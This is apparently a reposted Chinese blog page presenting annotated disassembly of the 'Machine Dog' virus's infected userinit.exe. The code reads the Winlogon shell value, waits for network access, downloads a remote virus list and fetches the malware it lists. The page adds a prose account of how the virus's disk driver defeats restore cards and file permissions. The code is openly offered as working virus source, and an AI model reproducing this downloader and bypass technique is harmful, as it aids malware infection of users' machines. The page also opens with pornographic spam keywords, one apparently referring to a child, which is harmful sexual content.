小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

機(jī)器狗病毒入侵源代碼以及入侵原理

 昵稱800675 2010-07-20

機(jī)器狗病毒入侵源碼
0040045A > $ 55             push ebp                         ; (初始 cpu 選擇)
0040045B . 8BEC          mov ebp,esp
0040045D . 81C4 E8FEFFFF    add esp,-118
00400463 . 68 9C0A4000       push userinit.00400A9C                ; /user32.dll
00400468 . E8 55020000       call <jmp.&kernel32.LoadLibraryA>           ; \LoadLibraryA
0040046D . 0BC0          or eax,eax
0040046F . 74 11          je short userinit.00400482
00400471 . 68 A70A4000       push userinit.00400AA7                ; /loadremotefonts
00400476 . 50             push eax                         ; |hModule
00400477 . E8 34020000       call <jmp.&kernel32.GetProcAddress>       ; \GetProcAddress
0040047C . 0BC0          or eax,eax
0040047E . 74 02          je short userinit.00400482
00400480 . FFD0          call eax                         ; USER32.LoadRemoteFonts
00400482 > 8D45 FC           lea eax,dword ptr ss:[ebp-4]
00400485 . 50             push eax                         ; /pHandle
00400486 . 68 19000200       push 20019                         ; |Access = KEY_READ
0040048B . 6A 00          push 0                             ; |Reserved = 0
0040048D . 68 B70A4000       push userinit.00400AB7                ; |software\microsoft\windows nt\currentversion\winlogon
00400492 . 68 02000080       push 80000002                      ; |hKey = HKEY_LOCAL_MACHINE
00400497 . E8 5C020000       call <jmp.&advapi32.RegOpenKeyExA>           ; \RegOpenKeyExA
0040049C . 0BC0          or eax,eax                         //打開注冊表檢測winlogon鍵值
0040049E . 75 48          jnz short userinit.004004E8
004004A0 . C745 F8 04010000     mov dword ptr ss:[ebp-8],104
004004A7 . 68 04010000       push 104                         ; /Length = 104 (260.)
004004AC . 8D85 F4FEFFFF    lea eax,dword ptr ss:[ebp-10C]          ; |
004004B2 . 50             push eax                         ; |Destination
004004B3 . E8 16020000       call <jmp.&kernel32.RtlZeroMemory>           ; \RtlZeroMemory
004004B8 . 8D45 F8           lea eax,dword ptr ss:[ebp-8]
004004BB . 50             push eax                         ; /pBufSize
004004BC . 8D85 F4FEFFFF    lea eax,dword ptr ss:[ebp-10C]          ; |
004004C2 . 50             push eax                         ; |Buffer
004004C3 . 6A 00          push 0                             ; |pValueType = NULL
004004C5 . 6A 00          push 0                             ; |Reserved = NULL
004004C7 . 68 960A4000       push userinit.00400A96                ; |shell
004004CC . FF75 FC           push dword ptr ss:[ebp-4]                 ; |hKey
004004CF . E8 2A020000       call <jmp.&advapi32.RegQueryValueExA>       ; \RegQueryValueExA
004004D4 . 8D85 F4FEFFFF    lea eax,dword ptr ss:[ebp-10C]
004004DA . 50             push eax                         ; /Arg1
004004DB . E8 50FDFFFF       call userinit.00400230                ; \userinit.00400230 CreateProcessA
004004E0 . FF75 FC           push dword ptr ss:[ebp-4]                 ; /hKey
004004E3 . E8 0A020000       call <jmp.&advapi32.RegCloseKey>           ; \RegCloseKey
004004E8 > 68 E8030000       push 3E8                         ; /Timeout = 1000. ms
004004ED . E8 E8010000       call <jmp.&kernel32.Sleep>             ; \Sleep
004004F2 . 6A 00          push 0
004004F4 . 8D45 F8           lea eax,dword ptr ss:[ebp-8]
004004F7 . 50             push eax
004004F8 . E8 13020000       call <jmp.&wininet.InternetGetConnectedState>    ;看網(wǎng)絡(luò)是否連接
004004FD . 0BC0          or eax,eax
004004FF . 75 02          jnz short userinit.00400503
00400501 .^ EB E5          jmp short userinit.004004E8
00400503 > 68 04010000       push 104                         ; /Length = 104 (260.)
00400508 . 8D85 F4FEFFFF    lea eax,dword ptr ss:[ebp-10C]          ; |
0040050E . 50             push eax                         ; |Destination
0040050F . E8 BA010000       call <jmp.&kernel32.RtlZeroMemory>           ; \RtlZeroMemory
00400514 . 8D85 F4FEFFFF    lea eax,dword ptr ss:[ebp-10C]
0040051A . 50             push eax                         ; /TempName
0040051B . 6A 00          push 0                             ; |Unique = 0
0040051D . 6A 00          push 0                             ; |Prefix = NULL
0040051F . 68 940A4000       push userinit.00400A94                ; |.
00400524 . E8 93010000       call <jmp.&kernel32.GetTempFileNameA>       ; \GetTempFileNameA           ;生成下載病毒列表得文件名
00400529 > 68 E8030000       push 3E8                         ; /Timeout = 1000. ms
0040052E . E8 A7010000       call <jmp.&kernel32.Sleep>             ; \Sleep
00400533 . 68 88130000       push 1388                         ; /Arg3 = 00001388
00400538 . 8D85 F4FEFFFF    lea eax,dword ptr ss:[ebp-10C]          ; |
0040053E . 50             push eax                         ; |Arg2
0040053F . 68 ED0A4000       push userinit.00400AED                ; |http://2./test.cer ;       ;病毒列表
00400544 . E8 2CFDFFFF       call userinit.00400275                ; \userinit.00400275 ;里面事下載并讀取病毒列表下載病毒~
00400549 . 0BC0          or eax,eax
0040054B . 0F84 17010000    je userinit.00400668
00400551 . C705 900A4000 00000000 mov dword ptr ds:[400A90],0
0040055B . 6A 00          push 0                             ; /hTemplateFile = NULL
0040055D . 6A 00          push 0                             ; |Attributes = 0
0040055F . 6A 03          push 3                             ; |Mode = OPEN_EXISTING
00400561 . 6A 00          push 0                             ; |pSecurity = NULL
00400563 . 6A 00          push 0                             ; |ShareMode = 0
00400565 . 68 00000080       push 80000000                      ; |Access = GENERIC_READ
0040056A . 8D85 F4FEFFFF    lea eax,dword ptr ss:[ebp-10C]          ; |
00400570 . 50             push eax                         ; |FileName
00400571 . E8 16010000       call <jmp.&kernel32.CreateFileA>           ; \CreateFileA
00400576 . 83F8 FF           cmp eax,-1
00400579 . 0F84 E2000000    je userinit.00400661
0040057F . 8985 F0FEFFFF    mov dword ptr ss:[ebp-110],eax
00400585 . 6A 00          push 0                             ; /pFileSizeHigh = NULL
00400587 . FFB5 F0FEFFFF    push dword ptr ss:[ebp-110]             ; |hFile
0040058D . E8 18010000       call <jmp.&kernel32.GetFileSize>           ; \GetFileSize
00400592 . 83F8 0F           cmp eax,0F
00400595 . 73 0D          jnb short userinit.004005A4
00400597 . FFB5 F0FEFFFF    push dword ptr ss:[ebp-110]             ; /hObject
0040059D . E8 E4000000       call <jmp.&kernel32.CloseHandle>           ; \CloseHandle
......................................................................................................................
00400676 . 6A 64          push 64                             ; /Timeout = 100. ms
00400678 . E8 5D000000       call <jmp.&kernel32.Sleep>             ; \Sleep
0040067D .^ EB EE          jmp short userinit.0040066D
0040067F > 6A 00          push 0                             ; /ExitCode = 0
00400681 . E8 1E000000       call <jmp.&kernel32.ExitProcess>           ; \ExitProcess
很精典呀,,里面涉及到了在匯編下如何操作注冊表,從指定網(wǎng)址下載文件到臨時(shí)文件第三節(jié):機(jī)器狗病毒入侵原理

機(jī)器狗原理:
建立磁盤底層驅(qū)動(dòng)。
1.校驗(yàn)IDT的NPXSegment Overrun(09)和Page Fault(OE)的矢量地址,如果存在,則把高16位設(shè)置為0,這個(gè)過程和還原軟件的原理是一樣的,就是對OE的HOOK檢驗(yàn)。
2.給自己找 個(gè)位置,查找驅(qū)動(dòng)資源中的1000/1000,然后COPY到ALLOVER緩沖區(qū)中。
3.建立物理磁盤PhysicalHardDISK0 的\Device----DosDevices的底層借口,針對 “IRP_MJ_CREATE”“IRP_MJ_CLOSE”“IRP_MJ_DEVICE_CONTROL”響應(yīng)。“IRP_MJ_CREATE”斷 開\Device\Harddisk0\DR0-1上的附屬部件。從而使磁盤OS層提供的應(yīng)用層文件系統(tǒng)鑒聽校驗(yàn)失效。
然后通過“I_M_C ”中恢復(fù)DR0-1上的附加。并在I_M_D_C中對0x0004f8E——0xF0003C0F作出響應(yīng),把ALLOVER緩沖區(qū)中找到的數(shù)據(jù)解密并返 回應(yīng)用層。通過KEY-s查表產(chǎn)生密鑰。0x0004f8E——0xF0003C0F字段會(huì)將用戶態(tài)代碼作為源基,對其運(yùn)算后得到字串KEY,用來對源驅(qū) 動(dòng)解密后,反還給用戶層。
在這個(gè)過程中,有個(gè)大家比較熟悉的截面,就是系統(tǒng)由于磁盤底層驅(qū)動(dòng)校驗(yàn)不成功而出現(xiàn)的藍(lán)屏截面,最常見的是初始值 0x0004f8E,比如,早期的SATAⅠ在保護(hù)卡狀態(tài)下出現(xiàn)物理壞道(0%—1%),就是這個(gè)藍(lán)屏代碼。很多由于用戶態(tài)的軟件安裝不當(dāng),引起的藍(lán)屏也 出現(xiàn)在這一區(qū)段中。在解除DR0-1上的附屬部件時(shí),出現(xiàn)邏輯性錯(cuò)誤就導(dǎo)致大家常見的中機(jī)器狗后的藍(lán)屏。多見于多處理器平臺(tái)。一般的PC是不會(huì)出現(xiàn)這個(gè)錯(cuò) 誤的,也就是說,大多數(shù)中招后都能正常使用,就是木馬多多,呵呵。
繼續(xù)正題,以上過程反映到IE上是這樣的:1.釋放底層驅(qū)動(dòng)程序(比如變種前 的PCIHDD.SYS)或者高位數(shù)用戶態(tài)臨時(shí)驅(qū)動(dòng)(變種后,可以有可執(zhí)行程序引導(dǎo),如“Usrinit.exe”)
2.定位WINDOWS系 統(tǒng)中的userinit.exe。(通過MBR和第一引導(dǎo)扇區(qū)參數(shù)來定位文件磁盤矢量偏移。)
3.并校驗(yàn)RF文件與地位后讀取的數(shù)據(jù)位置的正確 性。
4.將獲取的代碼參數(shù)返回給底層驅(qū)動(dòng),控制0x0004f8E——0xF0003C0F段為,最后將返回值(TQ)直接寫入 userinit.exe數(shù)據(jù)所在的第一蔟。這里要大家特別注意以下,通過用戶態(tài)的shell調(diào)用,作者只需一點(diǎn)變動(dòng),就可以隨即抓取用戶態(tài)引導(dǎo)文件,所 以,目前的改名設(shè)權(quán)限都是沒用的。
甚至,他可以把這個(gè)過程省略,象凈網(wǎng)先鋒那樣,把Shell進(jìn)程寫入動(dòng)態(tài)連接庫。那么,還原就沒用了。還會(huì)帶 來網(wǎng)絡(luò)負(fù)載問題,可能是作者比較仁慈吧。
好了,分析了以上的過程,解決的辦法就出來了,就是要通過對操作系統(tǒng)的內(nèi)核編譯,將他所定位的目的地址 占據(jù),這樣,除非是格式化,否則,任何操作的不會(huì)在底層奪取該位置。(不要問權(quán)限問題,在底層是沒有這個(gè)說法的,先入為主。)
這篇是講得比較專 業(yè)點(diǎn)兒的,基本上把機(jī)器狗如何在底層獲取控制權(quán)限過程都講解了。
夾并啟動(dòng)運(yùn)行,以及如何調(diào)用系統(tǒng)級(jí)動(dòng)態(tài)。

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約